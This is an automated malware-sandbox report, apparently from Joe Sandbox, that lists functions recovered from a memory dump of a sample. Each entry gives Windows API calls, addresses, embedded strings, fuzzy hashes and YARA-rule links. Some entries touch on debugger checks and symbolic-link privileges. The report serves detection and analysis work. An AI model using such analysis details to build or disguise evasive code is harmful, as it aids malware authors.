Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 32c60f6d9944902aaa32aedcaefb8ce2ce8dcd38ecd253c1937bf5ad1a3e8047
Instruction ID: 4c9d2eb15e021f8f47c32d020e7876b21cdd5f8fb52b70c6ecaae6474daae4c3
Opcode Fuzzy Hash: 32c60f6d9944902aaa32aedcaefb8ce2ce8dcd38ecd253c1937bf5ad1a3e8047
Instruction Fuzzy Hash: 9C01F7326001096BDB14DE29DC09BED7BEAEFC4324F0CC161ED29D7251EA78ED058680

Function 00BC8EBD Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00BC8FB5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00BC8FBF
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00BC8FCC

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 6ca6be72c4db9deac4f6bfc86e574d644b00e01003c96be607c2a2f93cd8fdb9
Instruction ID: a60a8bd898a618883a2d63cd3d17d8cbc607e56d6ea968bd980ad7f228f22e08
Opcode Fuzzy Hash: 6ca6be72c4db9deac4f6bfc86e574d644b00e01003c96be607c2a2f93cd8fdb9
Instruction Fuzzy Hash: 1631A275901229ABCB21DF68DC89B99BBF8EF08710F5041EAE41CA7251EB709F858F45

Function 00BCB348 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

., xrefs: 00BCB4DB

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: f5c1bf392c8b6aba9d6e10430630e68c3d8dec2ae4db1d066632e156d09887d1
Instruction ID: 6badab9c90291defed2f65de80366a45cb7922c6944771e59efda8e280f71e55
Opcode Fuzzy Hash: f5c1bf392c8b6aba9d6e10430630e68c3d8dec2ae4db1d066632e156d09887d1
Instruction Fuzzy Hash: 8F31D072900249ABCB289E78CC86EFEBBFDDB85314F1441ECE91997252E7309E458B50

Function 00BBAF0F Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00BBAF35
GetNumberFormatW.KERNEL32(00000400,00000000,?,00BDE72C,?,?), ref: 00BBAF84

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: c382748f7e8c55979ac4019f0573a9a4095e623ea892a9187c1025790f289e37
Instruction ID: d6b7f322473fbb1e2a158a5eb27c6c6b0c2a58464f7f2fd00845e1df08e10758
Opcode Fuzzy Hash: c382748f7e8c55979ac4019f0573a9a4095e623ea892a9187c1025790f289e37
Instruction Fuzzy Hash: 4C015A7A200319AAD7109F64EC45FAAB7F8EF08750F004062FB15AB2A1E770A954CBA5

Function 00BA6C74 Relevance: 3.0, APIs: 2, Instructions: 16windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00BA6DDF,00000000,00000400), ref: 00BA6C74
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00BA6C95

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 9186b710c6439e50c860a44aa570031e6a3f1cb41408f49e41aac216714ad750
Instruction ID: 025b85954da9b549fc54c9a4250768ca9b059c4b9af928350b3c057c3ca8d399
Opcode Fuzzy Hash: 9186b710c6439e50c860a44aa570031e6a3f1cb41408f49e41aac216714ad750
Instruction Fuzzy Hash: 39D0A970348300BFFA000B218C16F2ABBDAFF52F61F18C014B380E90E1EA708420A62A

Function 00BBF654 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00BBF66A

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 3a83308e1e6f6134149ab0a7a43a8bdf7f4cabcf67d85bd12c1d4d3a5a5f2c32
Instruction ID: 5e6ed0156ccf9dae5e4d2f26cf5b05d404db4c24a53d6fbcfaf61e24bf8a687c
Opcode Fuzzy Hash: 3a83308e1e6f6134149ab0a7a43a8bdf7f4cabcf67d85bd12c1d4d3a5a5f2c32
Instruction Fuzzy Hash: 055149B190160A8FEB25CF95EC917BEBBF4FB48314F2485AAD815EB250D7B49D00CB50

Function 00BAB146 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00BAB16B

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 3cc0c5a9178574ccfea778a5035a147837c6de9de7e2d97daf52fc246b60b92c
Instruction ID: d8d881d2eb34369c383554d23f1cda7cd714241fe0363412674ce67d783f61fd
Opcode Fuzzy Hash: 3cc0c5a9178574ccfea778a5035a147837c6de9de7e2d97daf52fc246b60b92c
Instruction Fuzzy Hash: B0F030B4D012488FDB18DB18ECA2AD973F1FB49715F204699D52597391DB70A9C0CF61

Function 00BBF9D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F9F0,00BBF3A5), ref: 00BBF9DA

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 95fae2f0a464fc2ecc2b4aea47e82bdd631a78c6a35cda84eba5536fec2521f4
Instruction ID: 52613d67053fc64f237817d4393455fdd51ebe36f874a47e26f7f4896173214f
Opcode Fuzzy Hash: 95fae2f0a464fc2ecc2b4aea47e82bdd631a78c6a35cda84eba5536fec2521f4
Instruction Fuzzy Hash:

Function 00BCC030 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00BCC030

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: aa93b102473de11e5359f460d0d332439abe1239a49a0640d790d0e0dc37ee2b
Instruction ID: 7473e0881c36d9299c135fff811586fe1498cc1dd3c87b9b900bb36f4b22ecd8
Opcode Fuzzy Hash: aa93b102473de11e5359f460d0d332439abe1239a49a0640d790d0e0dc37ee2b
Instruction Fuzzy Hash: FEA011302022028BCB008F30AE2C30C3BE8AA00A8030A002AA008C2020EE2080A0AA02

Function 00BAE2E8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00BAE30E

Part of subcall function 00BA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BA40A5

Part of subcall function 00BB1DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00BE1030,00000200,00BAD928,00000000,?,00000050,00BE1030), ref: 00BB1DC4

_strlen.LIBCMT ref: 00BAE32F
SetDlgItemTextW.USER32(?,00BDE274,?), ref: 00BAE38F
GetWindowRect.USER32(?,?), ref: 00BAE3C9
GetClientRect.USER32(?,?), ref: 00BAE3D5
GetWindowLongW.USER32(?,000000F0), ref: 00BAE475
GetWindowRect.USER32(?,?), ref: 00BAE4A2
SetWindowTextW.USER32(?,?), ref: 00BAE4DB
GetSystemMetrics.USER32(00000008), ref: 00BAE4E3
GetWindow.USER32(?,00000005), ref: 00BAE4EE
GetWindowRect.USER32(00000000,?), ref: 00BAE51B
GetWindow.USER32(00000000,00000002), ref: 00BAE58D

Strings

d, xrefs: 00BAE3F5
$%s:, xrefs: 00BAE302
CAPTION, xrefs: 00BAE4BD

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 707580403f2994eaf654961739fbbb4df9ba6cee68028ba006b9c7adeb79b34b
Instruction ID: 6587ae6a738ad4e9c2673f90122ddae33d74a78d666fe114a4111ec5567d0602
Opcode Fuzzy Hash: 707580403f2994eaf654961739fbbb4df9ba6cee68028ba006b9c7adeb79b34b
Instruction Fuzzy Hash: A381BE72608341AFD710DFA8CC89B6FBBEDEB89704F05092DFA95A7250D630E905CB52

Function 00BCCB22 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00BCCB66

Part of subcall function 00BCC701: _free.LIBCMT ref: 00BCC71E
Part of subcall function 00BCC701: _free.LIBCMT ref: 00BCC730
Part of subcall function 00BCC701: _free.LIBCMT ref: 00BCC742
Part of subcall function 00BCC701: _free.LIBCMT ref: 00BCC754
Part of subcall function 00BCC701: _free.LIBCMT ref: 00BCC766
Part of subcall function 00BCC701: _free.LIBCMT ref: 00BCC778
Part of subcall function 00BCC701: _free.LIBCMT ref: 00BCC78A
Part of subcall function 00BCC701: _free.LIBCMT ref: 00BCC79C
Part of subcall function 00BCC701: _free.LIBCMT ref: 00BCC7AE
Part of subcall function 00BCC701: _free.LIBCMT ref: 00BCC7C0
Part of subcall function 00BCC701: _free.LIBCMT ref: 00BCC7D2
Part of subcall function 00BCC701: _free.LIBCMT ref: 00BCC7E4
Part of subcall function 00BCC701: _free.LIBCMT ref: 00BCC7F6

_free.LIBCMT ref: 00BCCB5B

Part of subcall function 00BC8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BCC896,00BD3A34,00000000,00BD3A34,00000000,?,00BCC8BD,00BD3A34,00000007,00BD3A34,?,00BCCCBA,00BD3A34), ref: 00BC8DE2
Part of subcall function 00BC8DCC: GetLastError.KERNEL32(00BD3A34,?,00BCC896,00BD3A34,00000000,00BD3A34,00000000,?,00BCC8BD,00BD3A34,00000007,00BD3A34,?,00BCCCBA,00BD3A34,00BD3A34), ref: 00BC8DF4

_free.LIBCMT ref: 00BCCB7D
_free.LIBCMT ref: 00BCCB92
_free.LIBCMT ref: 00BCCB9D
_free.LIBCMT ref: 00BCCBBF
_free.LIBCMT ref: 00BCCBD2
_free.LIBCMT ref: 00BCCBE0
_free.LIBCMT ref: 00BCCBEB
_free.LIBCMT ref: 00BCCC23
_free.LIBCMT ref: 00BCCC2A
_free.LIBCMT ref: 00BCCC47
_free.LIBCMT ref: 00BCCC5F

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 265201387fd9c2f31a059b8162a5082b2d7940754ad43d3e6dc2151640f03288
Instruction ID: af4074a303af8b6a35b2bf303a8f20222c4f6833e6d2a879d652c611b6f04b81
Opcode Fuzzy Hash: 265201387fd9c2f31a059b8162a5082b2d7940754ad43d3e6dc2151640f03288
Instruction Fuzzy Hash: 92313B316042099FEB21AA78E846F5BBBE9EF20310F1554AEE59DD7192DF35EC40CB60

Function 00BB9711 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BB9736
_wcslen.LIBCMT ref: 00BB97D6
GlobalAlloc.KERNEL32(00000040,?), ref: 00BB97E5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00BB9806
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00BB982D

Strings

utf-8"></head>, xrefs: 00BB976B
<html>, xrefs: 00BB9755, 00BB978E
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00BB9760
</html>, xrefs: 00BB97B7

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Global_wcslen$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1777411235-4209811716
Opcode ID: ec8d6996daf388d91102671d8a1acc9ad70d13744189aa0dda4aa51771f9d0c5
Instruction ID: 3e1ad6b89fb2810361c434eb7137cc15b125cb9bc7229152f7d6bae876b08f30
Opcode Fuzzy Hash: ec8d6996daf388d91102671d8a1acc9ad70d13744189aa0dda4aa51771f9d0c5
Instruction Fuzzy Hash: 583115321083127BD725AB259C46FBBB7D8EF52750F14019EF601961D2FFA49A0483A6

Function 00BBD69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00BBD6C1
GetClassNameW.USER32(00000000,?,00000800), ref: 00BBD6ED

Part of subcall function 00BB1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00BAC116,00000000,.exe,?,?,00000800,?,?,?,00BB8E3C), ref: 00BB1FD1

GetWindowLongW.USER32(00000000,000000F0), ref: 00BBD709
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00BBD720
GetObjectW.GDI32(00000000,00000018,?), ref: 00BBD734
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00BBD75D
DeleteObject.GDI32(00000000), ref: 00BBD764
GetWindow.USER32(00000000,00000002), ref: 00BBD76D

Strings

STATIC, xrefs: 00BBD6F3

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: a263f05cc77e20386a2dc5ff99f0043cf2e7ad6d5c320b69cfa51b5315193ce8
Instruction ID: 6588fefd4b3d19f35f518c24278f1718c7a065717b11113e80546ab4f92b1fde
Opcode Fuzzy Hash: a263f05cc77e20386a2dc5ff99f0043cf2e7ad6d5c320b69cfa51b5315193ce8
Instruction Fuzzy Hash: FD1121726013507BE2216B719C4AFFF76DCEB14701F014161FA02A60A1EBE8CF0586B5

Function 00BC96F1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BC9705

Part of subcall function 00BC8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BCC896,00BD3A34,00000000,00BD3A34,00000000,?,00BCC8BD,00BD3A34,00000007,00BD3A34,?,00BCCCBA,00BD3A34), ref: 00BC8DE2
Part of subcall function 00BC8DCC: GetLastError.KERNEL32(00BD3A34,?,00BCC896,00BD3A34,00000000,00BD3A34,00000000,?,00BCC8BD,00BD3A34,00000007,00BD3A34,?,00BCCCBA,00BD3A34,00BD3A34), ref: 00BC8DF4

_free.LIBCMT ref: 00BC9711
_free.LIBCMT ref: 00BC971C
_free.LIBCMT ref: 00BC9727
_free.LIBCMT ref: 00BC9732
_free.LIBCMT ref: 00BC973D
_free.LIBCMT ref: 00BC9748
_free.LIBCMT ref: 00BC9753
_free.LIBCMT ref: 00BC975E
_free.LIBCMT ref: 00BC976C

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b91432e27d157648456428ff85df2d5d2f44a52b693d54e7a75850b5b8730838
Instruction ID: 70c36d7e8d0054a98380e0ccee17eb05df58d62cd6200a57fab7e43e2feee4a3
Opcode Fuzzy Hash: b91432e27d157648456428ff85df2d5d2f44a52b693d54e7a75850b5b8730838
Instruction Fuzzy Hash: 5A11B376110109BFDB01EF98D882EDD3BB5EF14350B5254E9FA498F262DE32EE509B84

Function 00BC2E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00BC2F50
___TypeMatch.LIBVCRUNTIME ref: 00BC305E
_UnwindNestedFrames.LIBCMT ref: 00BC31B0
CallUnexpected.LIBVCRUNTIME ref: 00BC31CB
_abort.LIBCMT ref: 00BC31D0

Strings

csm, xrefs: 00BC2EDB
csm, xrefs: 00BC2E6E
csm, xrefs: 00BC2F87

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: b5c922b0f6261b7d6b8e3306939694d256c2d57804fa6c3ac51e50577d7fba19
Instruction ID: d9aed2e94d997b51dd1e2b8172d04f6144f64f5eda749f172262d5268d0f117c
Opcode Fuzzy Hash: b5c922b0f6261b7d6b8e3306939694d256c2d57804fa6c3ac51e50577d7fba19
Instruction Fuzzy Hash: FDB12571900209EFCF29DFA4C881EAEBBF5EF14710B58819EF8156B212D735DA61CB91

Function 00BA6FA5 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BA6FAA
_wcslen.LIBCMT ref: 00BA7013
_wcslen.LIBCMT ref: 00BA7084

Part of subcall function 00BA7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00BA7AAB
Part of subcall function 00BA7A9C: GetLastError.KERNEL32 ref: 00BA7AF1
Part of subcall function 00BA7A9C: CloseHandle.KERNEL32(?), ref: 00BA7B00

Strings

SeRestorePrivilege, xrefs: 00BA6FC2
UNC\, xrefs: 00BA7051
\??\, xrefs: 00BA702B
SeCreateSymbolicLinkPrivilege, xrefs: 00BA6FCC

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true
